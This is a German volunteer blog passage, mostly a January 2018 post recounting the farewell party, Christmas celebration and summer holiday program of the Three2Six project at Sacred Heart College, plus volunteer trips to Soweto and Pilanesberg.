Im Dezember finden auch die Firmungen statt. Und zwar in blau – weiß. Wer nicht in Uniform kommt, darf nicht gehen.

 

Im Anschluss gibt es auf dem Kirchplatz für alle etwas zu essen.

 

An was müsst ihr hier denn denken?
Jup: an eine Schuleinführung

 

 

Darf ich vorstellen: Das ist Luz

 

Viele Grüße und bis bald

LEA

 

Summer Holiday Program – Purer Spaß

Mittwoch, 31. Januar 2018 von Daniela Alofs

Nach langer Zeit melde ich mich auch endlich wieder mit einigen Neuigkeiten. Die letzte Zeit war sehr spannend und ich habe wirklich viel erlebt. Am 23. November hatten wir eine kleine Abschiedsfeier für unsere 6. Klasse, da das Three2six Projekt am Sacred Heart College nur von der 1. bis zur 6. Klasse geht. Wir sind mit den Kids am Nachmittag zu einem Park in der Nähe gefahren, wo wir dann ein Braai hatten, also gegrillt haben und die Kinder sowie der Klassenlehrer, Esther und ein paar Eltern Reden gehalten haben und die Kinder Zertifikate und jedes kind ein Buch bekommen haben. Leider ist während der Feier ein großer Strum ausgebrochen mit viel Regen und Gewitter, sodass wir uns alle unterstellen mussten und das Essen ein wenig ungemütlich ablief. Später kam die Sonne aber wieder und die Kinder und alle Angehörigen hatten trotzdem sehr viel Spaß. Danach, am 01. Dezember war

Der Anfang unserer Geschenkesammlung für jedes Kind.

dann der letzte Schultag im Projekt, wo es eine große Weihnachtsfeier gab, wo alle Kinder und Eltern eingeladen waren. Jede Klasse hat dort etwas musikalisches aufgeführt, was wirklich sehr schön war und wo sich alle Klassen sehr viel mühe gegeben haben. Dann haben die Kinder Zertifikate für besondere Leistungen bekommen und ebenso ihre Zeugnisse, zusammen mit einer Geschenktasche, die wir am Tag davor bis zum Sonnenuntergang für jedes einzelne Kind gepackt hatten. Die Geschenke darin bestanden aus Spenden die wir bekommen hatten, was echt tolle Sachen waren und worüber sich die Kinder wirklich sehr gefreut haben. Sogar wir Freiwillige haben eine Geschenktüte von Colin und Esther bekommen, worüber ich mich auch sehr gefreut habe. Nach der Feier wurde dann die 6. Klasse aus dem Projekt entlassen und die anderen Klassen ins Wochenende, denn anstelle von Ferien gab es für die Kids noch zwei Wochen Ferienprogramm.
Das Sommer Ferienprogramm ging über zwei Wochen und fand zwar im Sacred Heart College statt, es wurden aber alle Kinder von allen drei Three2Six Campussen eingeladen, wodurch das Programm ganz schön groß war. Dadurch brauchten wir natürlich auch viele Freiwillige, wo viele extra aus Australien und England angereist sind. Dieses Programm vorzubereiten hat viele Meetings und Zeit gebraucht, wobei zwar ein Freiwilliger sich um die Hauptbestandteile des Programmes usw. gekümmert hat, wir aber alle helfen und organisieren mussten damit alles klappen konnte. Dadurch war es auch sehr spannend nach all der Zeit zu sehen wie sich die Arbeit auszahlt und wie alles so funktioniert. Mit den Kindern haben wir in dieser Zeit dann zum Beispiel Ausflüge zum Zoo, Kino und Planetarium gemacht und die Kinder haben auch gekocht, Experimente

durchgeführt und ich habe mit den Kindern eine Garten Session gemacht, wo die Kinder ihre eigenen Gemüsepflanzen pflanzen und mit nach Hause nehmen durften. Die Idee hinter diesem Programm ist dabei nicht nur den Kindern ein paar besonders schöne Wochen zu geben, sondern auch mit ihnen Unterrichtsfächer zu machen, die in ihrem normalen 3 Stunden Unterricht am Nachmittag nicht möglich sind. Obwohl die erste Woche des Ferienprogramms durch sehr viel Regen etwas eingeschränkt wurde, hatten die Kinder sehr viel Spaß und mir haben diese zwei Wochen auch wirklich sehr gefallen. Ein besonderes Highlight für die Kids war auch der letzte Tag, wo wir ein Sportfestival mit vielen verschiedenen Stationen wie zum Beispiel Sprint, Parcour, Fußball oder Basketball aufgebaut hatten und im Anschluss ein Weihnachts Braai hatten. Zum Abschluss des Ferienprogramms haben dann noch alle Kinder in Gruppen etwas aufgeführt, was sie während der zwei Wochen einstudiert hatten und es gab zu guter letzt noch eine kleine Disco, wo die Kids einfach nur tanzen und spaß haben konnten. Es war ein guter Abschluss für die sehr schönen und Intensiven zwei Wochen und es war schön zu sehen wie viel Spaß die Kids hatten.

Unser Freiwilligen Team und Lehrer im Ferienprogram

 

 

 

 

 

 

 

 

Zusätzlich haben wir Freiwillige am Nachmittag nach dem Programm auch noch viele Ausflüge gemacht, wie zum Beispiel einen Besuch in Soweto im Nelson Mandela Haus, ein Essen in einem Äthiopischen Restaurant zuammen mit allen Lehrern vom Projekt oder auch das Besichtigen des Arpatheid Museums. Am Wochenende zwischen den zwei Wochen Ferienprogramm waren wir in dem Nationalpark von Pilanesberg, wo wir einige Safaritouren gemacht haben, was einfach wunderschön und sehr spannend war. Vor allem wilde Löwen zu sehen hat mich besonders erfreut und es war ein sehr schönes Wochenede. Ebenso haben wir in den zwei Wochen in einer Suppenküche Obdachlosen Essen gegeben und uns mit den Obdachlosen unterhalten, was auch sehr interessant war.

Elefanten im Pilanesberg Nationalpark.

 

Löwen im Pilanesberg Nationalpark

 

Nelson Mandela Haus in Soweto